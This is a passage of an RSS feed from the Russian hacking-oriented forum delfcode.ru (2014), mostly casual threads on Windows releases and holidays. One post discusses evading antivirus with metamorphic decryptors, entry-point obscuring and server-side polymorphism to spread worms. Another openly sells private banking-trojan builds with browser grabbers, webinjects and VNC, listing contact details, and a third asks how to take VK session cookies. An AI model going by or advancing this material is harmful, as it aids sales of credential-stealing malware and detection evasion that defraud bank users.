размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/12/s0440273.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt; &lt;!--IMG2--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/12/7548148.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/12/s7548148.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt; &lt;br /&gt;&lt;br /&gt; Так о чем это я? &lt;br /&gt; Куда все это ушло? Что поменялось за пару лет? &lt;br /&gt;&lt;br /&gt; По моим наблюдениям алгоритмы работы АВ не сильно изменились. Технике EPO, уже лет 10, если не ошибаюсь, и она до сих пор канает. Декрипторы метаморфные, оставшийся статичный код перезашифровывается каждый раз, и получившаяся последовательность байт тоже не постоянна. Перенеся все это на Server-side уровень, мы лишаем эвристику и АВ-контор любого шанса создать сигнатуру. Ведь генератора семплов не будет в самом теле, соответственно нельзя угадать как расшифровщик будет выглядеть в следующий раз. Нет, ты сейчас скажешь, что хитрые аверы назаражают 10 000 EXE&apos;мпляров и постараются сделать некую регулярку, чтобы обнаружить его, но тогда можно применить технологию медленного метаморфизма, когда генерация происходит из внешних факторов среды, например в одно время дня, семплы генертся по одной конструкции, в остальное, по другой. И таких вариаций может быть ооочень много. &lt;br /&gt;&lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoileriIecrc&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoileriIecrc&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriIecrc&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriIecrc&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoileriIecrc&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoileriIecrc&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoileriIecrc&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoileriIecrc&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoileriIecrc&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;* Конечно были случаи, когда АВ конторы забирали бекап сервера с генератором кода, но за это уже край. Так нельзя. Имея генератор на руках, написать скастроку ничего не стоит. Ведь заранее видно все конструкции.&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; &lt;span style=&quot;color:orange&quot;&gt;Собственно, самый главный вопрос из всего того что я написал выше: применяя все эти техники можно создать червя которых с легкостью может распространиться на очень большие масштабы, однако сегодня я этого не вижу, почему?&lt;/span&gt; &lt;br /&gt;&lt;br /&gt; Прошу обратить внимание, я исключил из текста: &lt;br /&gt; 1) использование эксплоитов, так как по большей части для них нужны либо хорошие деньги (ага LNK-Exploit ой как дорого помню на забугорных форумах толкали), либо очень высокая квалификация и терпение для реверсинга; &lt;br /&gt; 2) использование сертификатов (опять же затратно, да не дай бог отзовут, тогда опять плати); &lt;br /&gt; 3) использование драйверов (опять же из-за затратности на сертификат, потому что современная винда не хавает левые драйвера).</content:encoded>
<category>Свободное общение</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/28-1299-1</guid>
</item>
<item>
<title>День ПрОгРаМмИсТа</title>
<link>https://delfcode.ru/forum/28-1296-1</link>
<pubDate>Fri, 03 Oct 2014 13:46:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: Праздник&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Ребят,всех вас поздравляю с днём программиста! Желаю всем счастья,программ без багов, чтобы каждый находил по столько zday,на сколько это возможно! &lt;br /&gt; Чтобы всегда было что почавкать и пиво рядом с компом &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/28-1296-1</guid>
</item>
<item>
<title>Windows 9 появится уже в следующем месяце</title>
<link>https://delfcode.ru/forum/28-1276-1</link>
<pubDate>Fri, 03 Oct 2014 13:39:30 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 13</description>
<content:encoded>Предварительная (Preview) версия новой операционной системы Microsoft появится этой осенью, а ее финальный вариант — в апреле следующего года. &lt;br /&gt;&lt;br /&gt; Сообщается, что новая версия Windows с кодовым названием Threshold, скорее всего, получит финальное имя Windows 9. Команда разработчиков активно работает над готовящимся релизом уже несколько последних месяцев. OEM-партнеры уже получали ранние сборки Windows 9, однако публичный (доступный всем) релиз системы ожидается в сентябре-октябре. &lt;br /&gt;&lt;br /&gt; Источники утверждают, что в Preview-версии системы, вероятно, будет отсутствовать ряд функций, которые будут доработаны уже к финальному релизу системы. Пользователи бета-версии системы будут автоматически получать обновления Windows 9. &lt;br /&gt;&lt;br /&gt; Существующие ранние билды Windows 9 уже включают мини-меню «Пуск», виртуальные рабочие столы и голосового помощника Cortana. А меню Charms, всплывающие при наведении указателя мыши к краям в десктопном режиме, здесь отсутствуют. &lt;br /&gt;&lt;br /&gt; Ранее Microsoft признала тот факт, что Windows 8.x не смогла понравиться «консервативным» владельцам обычных компьютеров, и большинство их до сих пор использует уже устаревающую Windows 7. Чтобы инициировать более активный переход на Windows 9 (Threshold), софтверный гигант планирует предложить бесплатное обновление на нее с Windows 7 SP1. Это очень серьезный шаг. Напомним, что возможность бесплатного перехода с Windows 7 на Windows 8 была лишь у небольшого количества пользователей (тех, кто покупал ПК в «переходный» период). &lt;br /&gt;&lt;br /&gt; Ну и пара скринов &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/12/6229092.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/12/s6229092.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt; &lt;!--IMG2--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/12/2951591.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/12/s2951591.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/28-1276-1</guid>
</item>
<item>
<title>Windows 8.1 - стоит ли переходить?</title>
<link>https://delfcode.ru/forum/28-1282-1</link>
<pubDate>Tue, 09 Sep 2014 23:49:34 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: С 7 на 8.1&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Вообщем, стоит ли переходить с семерки на 8.1? Есть ли в этом смысл?</content:encoded>
<category>Свободное общение</category>
<dc:creator>Slash</dc:creator>
<guid>https://delfcode.ru/forum/28-1282-1</guid>
</item>
<item>
<title>Можно ли узнать cookies с помощью Charles?</title>
<link>https://delfcode.ru/forum/28-1173-1</link>
<pubDate>Wed, 03 Sep 2014 23:17:05 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: Можно ли узнать cookies с помощью Charles?&lt;br /&gt;Автор темы: vitalka-vitalkin&lt;br /&gt;Автор последнего сообщения: 1download&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Доброе время суток!может кто-то знает, можно ли получить cookies от VK во время переписки с помощью Charles? и вообще это возможно?</content:encoded>
<category>Свободное общение</category>
<dc:creator>vitalka-vitalkin</dc:creator>
<guid>https://delfcode.ru/forum/28-1173-1</guid>
</item>
<item>
<title>I offer private bot builds</title>
<link>https://delfcode.ru/forum/13-1277-1</link>
<pubDate>Mon, 01 Sep 2014 08:19:22 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/13&quot;&gt;Программы&lt;/a&gt;&lt;br /&gt;Описание темы: I offer private bot builds&lt;br /&gt;Автор темы: johnalden&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Hello all. &lt;br /&gt; I offer private bot builds. &lt;br /&gt; Bot support lastest ie ff chrome versions grabber, and lastest ie ff webinjects (most imporant things for work with eBanking, ATS etc). &lt;br /&gt; VNC avalible. &lt;br /&gt; If u want know any additional infos buzz me in messengers, i will explain. &lt;br /&gt; Ask me any more infos in jabber. &lt;br /&gt; I can show and proofs, test etc before. Escrow welcome. &lt;br /&gt;&lt;br /&gt; Contacts: &lt;br /&gt; jabber - &lt;a href=&quot;mailto:tapor@jabber.se&quot; class=&quot;link&quot;&gt;tapor@jabber.se&lt;/a&gt; &lt;br /&gt; email - &lt;a href=&quot;mailto:Alden8152184@gmail.com&quot; class=&quot;link&quot;&gt;Alden8152184@gmail.com&lt;/a&gt; &lt;br /&gt; icq - 576704759</content:encoded>
<category>Программы</category>
<dc:creator>johnalden</dc:creator>
<guid>https://delfcode.ru/forum/13-1277-1</guid>
</item>
<item>
<title>Панель управления DelfCode.Ru</title>
<link>https://delfcode.ru/forum/6-563-1</link>
<pubDate>Fri, 22 Aug 2014 13:29:16 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/6&quot;&gt;delfcode.ru&lt;/a&gt;&lt;br /&gt;Описание темы: Админка&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Многие хотели видеть как выглядит &quot;админка&quot; DelfCode.Ru 5 дней в неделю она выглядит так.) &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/5/4155434.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/5/s4155434.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--IMG2--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/5/0277896.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/5/s0277896.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>delfcode.ru</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/6-563-1</guid>
</item>

</channel>
</rss>